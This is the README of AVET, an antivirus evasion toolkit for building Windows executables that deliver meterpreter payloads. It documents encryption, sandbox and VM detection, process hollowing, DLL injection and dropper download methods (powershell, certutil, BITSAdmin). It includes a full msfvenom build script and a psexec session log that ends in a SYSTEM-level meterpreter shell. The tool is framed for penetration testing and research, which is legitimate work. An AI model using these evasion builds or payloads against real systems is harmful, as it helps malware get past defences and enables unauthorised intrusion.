Skip to content
Go to file


Failed to load latest commit information.
Latest commit message
Commit time

AntiVirus Evasion Tool

AVET is an AntiVirus Evasion Tool, which was developed for making life easier for pentesters and for experimenting with antivirus evasion techniques, as well as other methods used by malicious software. For an overview of new features in v2.2, as well as past version increments, have a look at the CHANGELOG file.

Some features:

  • when running a .exe file made with msfpayload & co, the file will often be recognized by antivirus software
  • AVET is an antivirus evasion tool targeting windows machines with executable files
  • different kinds of input payloads can be used now: shellcode, exe and dlls
  • more techniques available: shellcode/dll injection, process hollowing and more
  • flexible retrieval methods for payload, decryption key, etc.
  • usage as a dropper
  • Chaining multiple iterations of AVET enables you to add multiple evasion layers, if necessary
  • combination of techniques: download your encrypted payload via powershell, while supplying the decryption key via command line argument at execution time, and finally inject your payload into another process, choosing from multiple techniques
  • basic sandbox checks
  • executie all available build scripts with, might also be interesting for researchers for building a set of "malicious" samples using different evasion and injection techniques


This README applies for Kali 64bit and tdm-gcc!

You can use the setup script:


This should automatically get you started by installing/configuring wine and installing tdm-gcc. You'll shortly have to click through the tdm-gcc installer GUI though - standard settings should be fine.

If for whatever reason you want to do things manually:

How to install tdm-gcc with wine:

Important Note

Not all techniques will evade every AV engine. If one technique or build script does not work, please test another one. Feel free to experiment! After all this is a toolbox - yet you should wield the hammer yourself. is a small Python utility which was designed to assist you in using the tool.

It lists all scripts that are currently present in the build folder. After selecting one, you will be able to step through the script line by line, having the opportunity to modify the contents on the fly.

The latter is especially useful as you can define new LHOST and LPORT variables for msfvenom each time you run a build script via the fabric. You can define default LHOST and LPORT values in the /build/ file, which are used if you don't redefine.

These modifications are temporary, which means that any changes you made will not persist in the build script on disk. The modified version is executed once, and your executable built.

Here's a quick example (python3 || gtfo):


                       .|        ,       +
             *         | |      ((             *
                       |'|       `    ._____
         +     ___    |  |   *        |.   |' .---"|
       _    .-'   '-. |  |     .--'|  ||   | _|    |
    .-'|  _.|  |    ||   '-__  |   |  |    ||      |
    |' | |.    |    ||       | |   |  |    ||      |
 ___|  '-'     '    ""       '-'   '-.'    '`      |____

Welcome to the avet Assistant!

0 :
1 :
2 :
3 :
4 :
5 :
6 :
7 :
8 :
9 :
10 :
11 :
12 :
13 :
14 :
15 :
16 :
17 :
18 :
19 :
20 :
21 :
22 :
23 :
24 :
25 :
26 :
27 :
28 :
29 :
30 :
31 :
32 :
33 :
34 :
35 :
36 :
37 :
Which Script would you like to configure and build?
Enter the corresponding number -> 5

# build the .exe file that loads the payload from a given text file

Configure the Build Script

# override connect-back settings here, if necessary
-> LPORT=443

# no command preexec
-> set_command_source no_data
-> set_command_exec no_command

# enable debug output
-> enable_debug_print

Executable will be created Shortly please wait.

Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 692 (iteration=0)
x86/shikata_ga_nai chosen with final size 692
Payload size: 692 bytes
Final size of c file: 2933 bytes
*** ============================================= ***

      .====,_ ` \\      .====,__                         
---     .==-,`~. \\           `:`.__,                    
 ---      `~~=-.  \\           /^^^     MEEP MEEP        
   ---       `~~=. \\         /                          
                `~. \\       /                           
                  ~. \\____./                            
       ___\\.--~~~              ~~~---.._|/              
       ~~~\\\"                             /              

 ________  ___      ___ _____  __________  
|\   __  \|\  \    /  /|\  __\ |\___   __\ 
\ \  \|\  \ \  \  /  / | \ \__ \|__|\  \_| 
 \ \   __  \ \  \/  / / \ \  _\    \ \  \  
  \ \  \ \  \ \    / /   \ \ \___   \ \  \ 
   \ \__\ \__\ \__/ /     \ \____\   \ \__\
    \|__|\|__|\|__|/       \|_____|   \|__|

*** ============================================= ***

# Call the generated executable like:
# $ avetenc_dynamicfromfile_revhttps_win32.exe scenc_raw.txt

Your executable should be in the output folder!

How to use

Of course it is possible to run all commands step by step from command line. However, in the "build" folder you will find preconfigured build scripts for relevant use cases. The build scripts themselves are written so as they have to be called from within the avet directory:

root@kalidan:~/tools/avet# ./build/

You can define default LHOST and LPORT values for metasploit payloads in the /build/ file, which are used if you don't redefine.

Usage examples

Generate a 32-bit process hollowing executable in two steps (as in

First, generate the hollowing payload with AVET:

  • generate meterpreter/reverse_https 32-bit shellcode
  • the meterpreter shellcode will be XOR encrypted with a 5-byte preset key
  • the shellcode will be compiled into the generated executable
  • fopen and gethostbyname sandbox evasion environmental checks will be made before executing the shellcode

Second, build the "dropper" executable that delivers the first step payload via hollowing:

  • statically compile the first step payload into the executable
  • the payload will be XOR encrypted with a different 5-byte preset key
  • again, fopen and gethostbyname sandbox evasion environmental checks will be made before hollowing
  • the hollowing target PID will be delivered via command line argument on execution time

So you get a two-layer environmental-checked and encrypted meterpreter payload, hollowed into a process of your choice. While the settings in the build script are mostly for demonstration purposes, there is a lot of flexibility to customize your generated executable by making simple modifications to the build script.

You could switch out data retrieval methods: Instead of statically compiling most data into the executable, you could download your hollowing payload via powershell, download the decryption key via sockets, use different encryption or environmental checks, etc.

Or try to add more evasion layers by doing a third build iteration. Or switch out the payload. Want to use Mimikatz instead? Convert it into shellcode via, and change the payload in the build script.

Of course, you can also design more minimalistic builds, like executing unencrypted shellcode with only one environmental check, or maybe 50 iterations of shikata are enough to reach your goal? Choose/modify the build scripts, suiting your needs.

Build scripts

Below, find a list of all currently shipped build scripts. The names should hint at each script's functionality. For detailed information, consider the comments inside the scripts. Feel free to modify/write your own build scripts to build your custom executable!


Data retrieval methods

These methods are compatible with all of AVET's data sources and can be used as such in the build script.

A few examples:

# Compiles the command 'calc.exe' statically into the executable, which will then be executed via cmd at sample startup.
set_command_source static_from_here 'calc.exe'
set_command_exec exec_via_cmd

# Download 64-bit shellcode via powershell, and execute. 
set_payload_source download_powershell
set_payload_execution_method exec_shellcode64

# Download XOR decryption key into memory. (Server to download from is always specified via first command line argument on execution). Decode the payload.
set_key_source download_socket
set_decoder xor

# Retrieves the tuple (target PID, dll path) from command line on execution
set_payload_info_source from_command_line_raw
set_payload_execution_method inject_dll

If features are skipped/not used, you have to specify NOP-like behavior instead:

set_command_source no_data
set_command_exec no_command

The data is retrieved from a file and is statically compiled into the generated executable. For this to work, the data must be provided as a c-style array at compilation time, like

unsigned char buf[] = "\x00\x11\x22\x33";

The data is statically compiled into the generated executable, retrieved from the specified argument in the build script.


The data is read from a file at run time.


Retrieves data from a "11aabb22.." format hex string (from the command line).


Retrieves data from a command line argument. The given ASCII string is interpreted as raw byte data.


Downloads data from a specified URI, using certutil.exe -urlcache -split -f. Drops the downloaded file to disk before reading the data.


Downloads the data using curl. Drops the downloaded file to disk before reading the data.


Downloads data from a specified URL, using Internet Explorer. Drops the downloaded file to disk before reading the data.


Downloads data from a specified URI via powershell. Drops the downloaded file to disk before reading the data.


Downloads the data from a specified URI, using sockets. Data is read directly into memory, no file is dropped to disk.


Downloads the data using the BITSAdmin Windows utility. Drops the downloaded file to disk before reading the data.

Payload execution methods

How to execute/deliver the payload. The injection/hollowing methods require additional information about the injection target, which can be given via set_payload_info_source <the_info> (see data retrieval methods).


Executes 32-bit shellcode with a C function binding.


Executes 64-bit shellcode with a C function binding and VirtualProtect.


Executes ASCIIMSF encoded shellcode via call eax.


Instanciates a new process, cuts out the original image and hollows the given payload into the new process. The payload is a 32-bit executable image. Works on 32-bit targets.


Same as hollowing32, but using 64-bit PE payloads for 64-bit target processes.


Injects a dll into a target process, using CreateRemoteThread. Injection works for 32-bit payloads into 32-bit processes, and 64-bit payloads into 64-bit processes, respectively.


Injects shellcode into a target process, using CreateRemoteThread. Injection works for 32-bit shellcode into 32-bit processes, and 64-bit shellcode into 64-bit processes, respectively.


AVET provides encoders for each scheme, which can be applied on the payload before compilation/delivery. On execution, the specified decoder then again deobfuscates the payload at runtime.

Here is an RC4 example, where the decryption key is retrieved from the command line in hex format at execution time:

generate_key preset aabbccddee input/key_raw.txt
encode_payload rc4 input/shellcode_raw.txt input/shellcode_enc_raw.txt input/key_raw.txt
set_key_source from_command_line_hex
set_decoder rc4

You can also skip the encoding feature by not further encoding the shellcode, and setting:

set_key_source no_data
set_decoder none

Rolling XOR, supporting multi-byte keys.


Custom encoding, reinterpreting the ASCII format.


RC4 encryption/decryption, with flexible key length.

Sandbox evasion

These are environmental checks that are performed before eventual encoding and payload execution. If an unpleasant execution environment is detected (e.g. an AV sandbox), execution stops.

Currently, you can arbitrarily queue up to 10 checks. Using the same technique multiple times is supported. The queue limit EVASION_ARRAY_SIZE can however be easily modified in avet.c.


Checks for the existence of a file. If not found, stop execution. The file name can be specified in the build script, like

add_evasion fopen_sandbox_evasion 'c:\\windows\\system.ini'

Try to resolve a hostname of your choice. If gethostbyname returns unequals NULL, stop execution. The hostname to check against can be specified in the build script, like

add_evasion gethostbyname_sandbox_evasion ''

Checks number of CPU cores on the target. If the number is lower than the specified value, stop execution.

add_evasion get_cpu_cores 2

Checks for vendor-specific MAC prefixes. If any identified, stop execution.

add_evasion has_vm_mac

Checks for vendor-specific registry keys. If any identified, stop execution.

add_evasion has_vm_regkey

Not really an evasion technique, but hides your console window ;)

add_evasion hide_console

Additional command execution

Grants you the ability to execute an additional cmd/powershell payload directly after the eventual sandbox evasion functions. The payload source is compatible with AVET's data retrieval methods.

The following example downloads a powershell payload via BITSAdmin:

set_command_source download_bitsadmin
set_command_exec exec_via_powershell

Helper tools


Takes raw data as input from a file, converts it into C-array format and writes output to another file. This aids in providing the correct format for the static_from_file data retrieval method.


Key generation utility. Generates either a (non-cryptographically) random key or takes a preset key as input, and outputs the raw key data into a specified file. This aids in providing key material for the AVET encryption feature.


Utility from AVET 1.3 that performs AVET encoding.

AVET & metasploit psexec

AVET is compatible to metasploit's psexec module. For that, the generated executable needs to be compiled as a Windows Service, which is implemented by using avetsvc.c. Consider the corresponding example build script

# Designed for use with msf psexec module!

# print AVET logo
cat banner.txt

# include script containing the compiler var $win32_compiler
# you can edit the compiler in build/
# or enter $win32_compiler="mycompiler" here
. build/

# import global default lhost and lport values from build/
. build/

# override connect-back settings here, if necessary

# make meterpreter bind payload, encoded 20 rounds with shikata_ga_nai
msfvenom -p windows/meterpreter/bind_tcp lport=$LPORT -e x86/shikata_ga_nai -i 20 -f raw -a x86 --platform Windows > input/sc_raw.txt

# import feature construction interface
. build/

# add evasion techniques
add_evasion fopen_sandbox_evasion 'c:\\windows\\system.ini'
add_evasion gethostbyname_sandbox_evasion 'this.that'

# generate key file
generate_key preset aabbcc12de input/key_raw.txt

# encode shellcode
encode_payload xor input/sc_raw.txt input/scenc_raw.txt input/key_raw.txt

# array name buf is expected by static_from_file retrieval method
./tools/data_raw_to_c/data_raw_to_c input/scenc_raw.txt input/scenc_c.txt buf

# no command preexec
set_command_source no_data
set_command_exec no_command

# set shellcode source
set_payload_source static_from_file input/scenc_c.txt

# convert generated key from raw to C into array "key"
./tools/data_raw_to_c/data_raw_to_c input/key_raw.txt input/key_c.txt key

# set key source
set_key_source static_from_file input/key_c.txt

# set payload info source
set_payload_info_source no_data

# set decoder
set_decoder xor

# set shellcode binding technique
set_payload_execution_method exec_shellcode

# enable debug printing
enable_debug_print to_file C:/avetdbg.txt

# compile as service
$win32_compiler -o output/service.exe source/avetsvc.c -lws2_32
strip output/service.exe

# cleanup

And on the metasploit side:

msf exploit(psexec) > use exploit/windows/smb/psexec
msf exploit(psexec) > set EXE::custom /root/tools/ave/pwn.exe
EXE::custom => /root/tools/ave/pwn.exe
msf exploit(psexec) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf exploit(psexec) > set rhost
rhost =>
msf exploit(psexec) > set smbuser dax
smbuser => dax
msf exploit(psexec) > set smbpass test123
smbpass => test123
msf exploit(psexec) > set lport 8443
lport => 8443
msf exploit(psexec) > run

[*] - Connecting to the server...
[*] Started bind handler
[*] - Authenticating to as user 'dax'...
[*] Sending stage (957487 bytes) to
[*] - Selecting native target
[*] - Uploading payload...
[*] - Using custom payload /root/tools/avepoc/a.exe, RHOST and RPORT settings will be ignored!
[*] - Created \mzrCIOVg.exe...
[+] - Service started successfully...
[*] - Deleting \mzrCIOVg.exe...
[-] - Delete of \mzrCIOVg.exe failed: The server responded with error: STATUS_CANNOT_DELETE (Command=6 WordCount=0)
[*] Exploit completed, but no session was created.
msf exploit(psexec) > [*] Meterpreter session 4 opened ( -> at 2017-05-27 18:47:23 +0200

msf exploit(psexec) > sessions

Active sessions

Id Type Information Connection
-- ---- ----------- ----------
4 meterpreter x86/windows NT-AUTORIT_T\SYSTEM @ DAX-RYMZ48Z3EYO -> (

msf exploit(psexec) > sessions -i 4
[*] Starting interaction with 4...

meterpreter > sysinfo
Computer : DAX-RYMZ48Z3EYO
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : de_DE
Logged On Users : 2
Meterpreter : x86/windows


For basics about antivirus evasion, AVET & more information have a look here (most for version 1.3):

You can’t perform that action at this time.